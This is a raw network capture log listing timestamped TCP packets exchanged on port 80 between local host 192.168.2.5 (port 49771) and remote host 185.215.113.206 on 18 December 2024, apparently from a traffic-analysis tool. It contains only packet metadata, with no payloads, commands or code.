Dec 18, 2024 15:21:15.198048115 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.199120998 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.199172974 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.199210882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.199254990 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.200323105 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.200365067 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.200371027 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.200402975 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.202089071 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.202142954 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.202147961 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.202187061 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.203020096 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.203033924 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.203074932 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.204124928 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.204135895 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.204175949 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.205454111 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.205486059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.205528975 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.206758976 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.206769943 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.206809044 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.232750893 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.232764959 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.232857943 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.233211994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.233357906 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.234509945 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.234522104 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.234555960 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.234574080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.235352993 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.235399008 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.235886097 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.235897064 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.235930920 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.236915112 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.236927032 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.236962080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.238241911 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.238254070 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.238295078 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.239353895 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.239403009 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.239460945 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.239507914 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.240736961 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.240748882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.240787029 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.241862059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.241911888 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.241971016 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.242012978 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.243100882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.243112087 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.243150949 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.244324923 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.244335890 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.244376898 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.245517015 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.245562077 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.245563984 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.245599031 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.246892929 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.246948004 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.247003078 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.247044086 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.248089075 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.248130083 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.248132944 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.248166084 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.249147892 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.249195099 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.249622107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.249667883 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.250406027 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.250463009 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.250567913 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.250613928 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.251648903 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.251694918 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.251702070 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.251735926 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.253027916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.253041029 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.253081083 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.254080057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.254131079 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.254234076 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.254286051 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.255359888 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.255407095 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.255439043 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.255476952 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.359045029 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.359168053 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.359178066 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.359267950 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.359438896 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.359483004 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.359569073 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.359618902 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.360824108 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.360872984 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.360950947 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.360996962 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.362006903 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.362056971 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.362133026 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.362179995 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.363187075 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.363243103 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.363311052 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.363363981 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.364424944 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.364473104 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.364564896 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.364610910 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.365636110 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.365681887 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.365736008 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.365778923 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.367054939 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.367103100 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.367165089 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.367218971 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.368338108 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.368387938 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.368444920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.368486881 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.369399071 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.369452000 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.369484901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.369525909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.370791912 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.370846033 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.370853901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.370888948 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.372137070 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.372189999 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.409456968 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.529139996 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.846116066 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.846155882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.846213102 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.846637964 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.846683979 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.846762896 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.846798897 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.846851110 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.846884966 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.848025084 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.848082066 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.848150015 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.848184109 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.848962069 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.849066019 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.849111080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.850095034 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.850137949 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.850363016 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.850403070 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.851268053 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.851397991 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.851442099 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.852490902 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.852533102 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.852607965 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.852649927 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.853737116 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.853780031 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.853827953 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.853863001 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.855045080 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.855091095 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.855226994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.855268002 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.856457949 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.856476068 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.856501102 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.856520891 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.857430935 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.857552052 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.857600927 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.858990908 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.859040976 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.971167088 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.971256018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.971261024 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.971301079 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.971756935 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.971832037 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.971832037 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.971872091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.972620964 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.972687960 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.972726107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.972769022 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.973773003 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.973829031 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.973887920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.973931074 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.975074053 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.975131035 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.975333929 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.975387096 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.976434946 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.976490021 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.976531982 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.976577997 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.977714062 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.977766037 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.977827072 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.977886915 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.978702068 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.978753090 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.978818893 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.978863955 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.980006933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.980074883 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.980104923 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.980144024 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.981223106 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.981275082 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.981340885 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.981385946 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.982508898 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.982554913 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.982589960 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.982628107 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.983670950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.983726978 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.983753920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.983788013 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.985096931 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.985153913 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.985294104 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.985337019 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.986216068 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.986300945 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.986336946 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.986376047 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.987601042 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.987644911 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.987653017 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.987675905 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.988809109 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.988853931 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.988871098 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.988892078 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.990035057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.990084887 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.990156889 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.990207911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.991185904 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.991238117 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.991400957 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.991447926 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.992563963 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.992614031 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.992644072 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.992688894 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.993501902 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.993547916 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.993623972 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.993669033 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.994788885 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.994838953 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.994883060 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.994930029 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.995990038 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.996038914 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.996068001 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.996105909 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:15.997384071 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:15.997432947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.095604897 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.095637083 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.095668077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.095695019 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.096225023 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.096275091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.096360922 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.096400023 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.097429991 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.097508907 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.097558975 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.097599030 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.098666906 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.098707914 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.098748922 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.098788023 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.099914074 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.099950075 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.100009918 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.100044966 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.101155996 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.101255894 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.101277113 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.101305008 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.102411032 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.102461100 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.102530956 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.102571011 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.103622913 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.103668928 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.103715897 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.103754997 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.104861021 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.104911089 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.104947090 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.104983091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.106105089 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.106151104 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.106188059 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.106220961 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.107296944 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.107337952 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.107438087 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.107476950 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.108529091 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.108580112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.108644009 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.108680010 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.109750032 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.109800100 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.109853983 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.109890938 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.110975027 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.111021996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.111090899 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.111129999 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.112232924 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.112274885 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.112380028 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:16.112416983 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:16.113589048 CET	80	49771	185.215.113.206	192.168.2.5
